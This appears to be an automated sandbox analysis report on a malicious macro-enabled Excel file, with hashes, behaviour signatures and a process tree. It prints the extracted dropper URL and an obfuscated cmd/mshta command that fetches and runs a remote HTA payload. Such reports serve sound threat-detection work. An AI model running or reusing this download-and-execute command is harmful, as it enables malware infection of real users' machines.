Analysis

  • max time kernel
    130s
  • max time network
    129s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-01-2022 18:53

General

  • Target

    7429c9e25f9d5b509f78af97a0f595fac9ce8122ad4788c17087360e06521b2f.xlsm

  • Size

    49KB

  • MD5

    1b3b9885b4613c3a910d6d48bd960e20

  • SHA1

    51e969103c0b9dc7a30300617e06a6a2f3f98942

  • SHA256

    7429c9e25f9d5b509f78af97a0f595fac9ce8122ad4788c17087360e06521b2f

  • SHA512

    bdd56383eb805539fae845530fe75cc0622cbdabe33c34caece7d8babb429938149962316724dac9f04c5350914ee44a5a746d4523ad3f6e12596fe602533151

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fe1.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\7429c9e25f9d5b509f78af97a0f595fac9ce8122ad4788c17087360e06521b2f.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1692
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe1.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3036
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe1.html
        3⤵
        • Blocklisted process makes network request
        PID:2864

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1692-114-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

    Filesize

    64KB

  • memory/1692-115-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

    Filesize

    64KB

  • memory/1692-116-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

    Filesize

    64KB

  • memory/1692-117-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

    Filesize

    64KB

  • memory/1692-126-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

    Filesize

    64KB

  • memory/1692-127-0x00007FFD6F570000-0x00007FFD6F580000-memory.dmp

    Filesize

    64KB

  • memory/1692-128-0x00007FFD6F570000-0x00007FFD6F580000-memory.dmp

    Filesize

    64KB

  • memory/1692-286-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

    Filesize

    64KB

  • memory/1692-287-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

    Filesize

    64KB

  • memory/1692-288-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

    Filesize

    64KB

  • memory/1692-289-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

    Filesize

    64KB